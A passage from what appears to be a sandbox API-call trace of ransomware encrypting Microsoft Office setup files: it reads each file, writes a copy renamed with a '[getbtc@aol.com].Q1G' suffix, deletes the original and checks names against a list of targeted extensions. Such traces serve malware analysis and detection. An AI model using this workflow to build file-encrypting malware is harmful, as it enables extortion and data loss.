nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.808] WriteFile (in: hFile=0x190, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0039.808] SetEndOfFile (hFile=0x190) returned 1 [0039.808] CloseHandle (hObject=0x190) returned 1 [0039.810] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.810] SetEndOfFile (hFile=0x1d0) returned 1 [0039.811] CloseHandle (hObject=0x1d0) returned 1 [0039.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0039.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.811] lstrlenW (lpString=".doc") returned 4 [0039.812] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".docx") returned 5 [0039.812] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0039.812] lstrlenW (lpString=".pdf") returned 4 [0039.812] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".xls") returned 4 [0039.812] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".xlsx") returned 5 [0039.812] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0039.812] lstrlenW (lpString=".ppt") returned 4 [0039.812] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString=".zip") returned 4 [0039.812] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".rar") returned 4 [0039.812] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".bz2") returned 4 [0039.812] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.812] lstrlenW (lpString=".7z") returned 3 [0039.812] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString=".dbf") returned 4 [0039.812] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString=".1cd") returned 4 [0039.812] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString=".jpg") returned 4 [0039.812] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.812] lstrlenW (lpString=".doc") returned 4 [0039.812] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".docx") returned 5 [0039.813] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0039.813] lstrlenW (lpString=".pdf") returned 4 [0039.813] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".xls") returned 4 [0039.813] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".xlsx") returned 5 [0039.813] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0039.813] lstrlenW (lpString=".ppt") returned 4 [0039.813] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.813] lstrlenW (lpString=".zip") returned 4 [0039.813] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".rar") returned 4 [0039.813] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".bz2") returned 4 [0039.813] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.813] lstrlenW (lpString=".7z") returned 3 [0039.813] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.813] lstrlenW (lpString=".dbf") returned 4 [0039.813] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.813] lstrlenW (lpString=".1cd") returned 4 [0039.813] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0039.813] lstrlenW (lpString=".jpg") returned 4 [0039.813] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.813] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0039.813] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0039.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.814] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=819) returned 1 [0039.814] CloseHandle (hObject=0x1d0) returned 1 [0039.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0039.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.814] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.814] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.814] GetLastError () returned 0x0 [0039.814] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x333, lpOverlapped=0x0) returned 1 [0039.816] WriteFile (in: hFile=0x190, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0039.817] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.817] WriteFile (in: hFile=0x190, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0039.817] SetEndOfFile (hFile=0x190) returned 1 [0039.817] CloseHandle (hObject=0x190) returned 1 [0039.818] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.818] SetEndOfFile (hFile=0x1d0) returned 1 [0039.818] CloseHandle (hObject=0x1d0) returned 1 [0039.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.819] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0039.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.819] lstrlenW (lpString=".doc") returned 4 [0039.819] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString=".docx") returned 5 [0039.819] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0039.819] lstrlenW (lpString=".pdf") returned 4 [0039.819] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString=".xls") returned 4 [0039.819] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString=".xlsx") returned 5 [0039.819] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0039.819] lstrlenW (lpString=".ppt") returned 4 [0039.819] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.819] lstrlenW (lpString=".zip") returned 4 [0039.819] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.819] lstrlenW (lpString=".rar") returned 4 [0039.819] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString=".bz2") returned 4 [0039.819] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.819] lstrlenW (lpString=".7z") returned 3 [0039.819] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".dbf") returned 4 [0039.820] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".1cd") returned 4 [0039.820] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".jpg") returned 4 [0039.820] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".doc") returned 4 [0039.820] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString=".docx") returned 5 [0039.820] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0039.820] lstrlenW (lpString=".pdf") returned 4 [0039.820] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString=".xls") returned 4 [0039.820] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString=".xlsx") returned 5 [0039.820] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0039.820] lstrlenW (lpString=".ppt") returned 4 [0039.820] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".zip") returned 4 [0039.820] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.820] lstrlenW (lpString=".rar") returned 4 [0039.820] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString=".bz2") returned 4 [0039.820] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.820] lstrlenW (lpString=".7z") returned 3 [0039.820] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.820] lstrlenW (lpString=".dbf") returned 4 [0039.820] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.821] lstrlenW (lpString=".1cd") returned 4 [0039.821] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0039.821] lstrlenW (lpString=".jpg") returned 4 [0039.821] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.821] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0039.821] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0039.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.814] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=37689) returned 1 [0040.814] CloseHandle (hObject=0x1a0) returned 1 [0040.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0040.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.814] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.814] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.815] GetLastError () returned 0x0 [0040.815] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x9339, lpOverlapped=0x0) returned 1 [0040.981] WriteFile (in: hFile=0x1a8, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0040.982] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.982] WriteFile (in: hFile=0x1a8, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.983] SetEndOfFile (hFile=0x1a8) returned 1 [0040.983] CloseHandle (hObject=0x1a8) returned 1 [0040.984] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.984] SetEndOfFile (hFile=0x1a0) returned 1 [0040.985] CloseHandle (hObject=0x1a0) returned 1 [0040.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0040.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.986] lstrlenW (lpString=".doc") returned 4 [0040.986] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString=".docx") returned 5 [0040.986] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0040.986] lstrlenW (lpString=".pdf") returned 4 [0040.986] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString=".xls") returned 4 [0040.986] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString=".xlsx") returned 5 [0040.986] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0040.986] lstrlenW (lpString=".ppt") returned 4 [0040.986] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.986] lstrlenW (lpString=".zip") returned 4 [0040.986] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString=".rar") returned 4 [0040.986] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.986] lstrlenW (lpString=".bz2") returned 4 [0040.986] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.986] lstrlenW (lpString=".7z") returned 3 [0040.986] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".dbf") returned 4 [0040.987] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".1cd") returned 4 [0040.987] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".jpg") returned 4 [0040.987] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".doc") returned 4 [0040.987] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString=".docx") returned 5 [0040.987] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0040.987] lstrlenW (lpString=".pdf") returned 4 [0040.987] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString=".xls") returned 4 [0040.987] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString=".xlsx") returned 5 [0040.987] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0040.987] lstrlenW (lpString=".ppt") returned 4 [0040.987] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".zip") returned 4 [0040.987] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString=".rar") returned 4 [0040.987] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.987] lstrlenW (lpString=".bz2") returned 4 [0040.987] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.987] lstrlenW (lpString=".7z") returned 3 [0040.987] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.987] lstrlenW (lpString=".dbf") returned 4 [0040.987] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.988] lstrlenW (lpString=".1cd") returned 4 [0040.988] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0040.988] lstrlenW (lpString=".jpg") returned 4 [0040.988] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.988] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.988] lstrlenW (lpString="SETUP.XML") returned 9 [0040.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.400] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=4207) returned 1 [0041.400] CloseHandle (hObject=0x204) returned 1 [0041.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0041.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 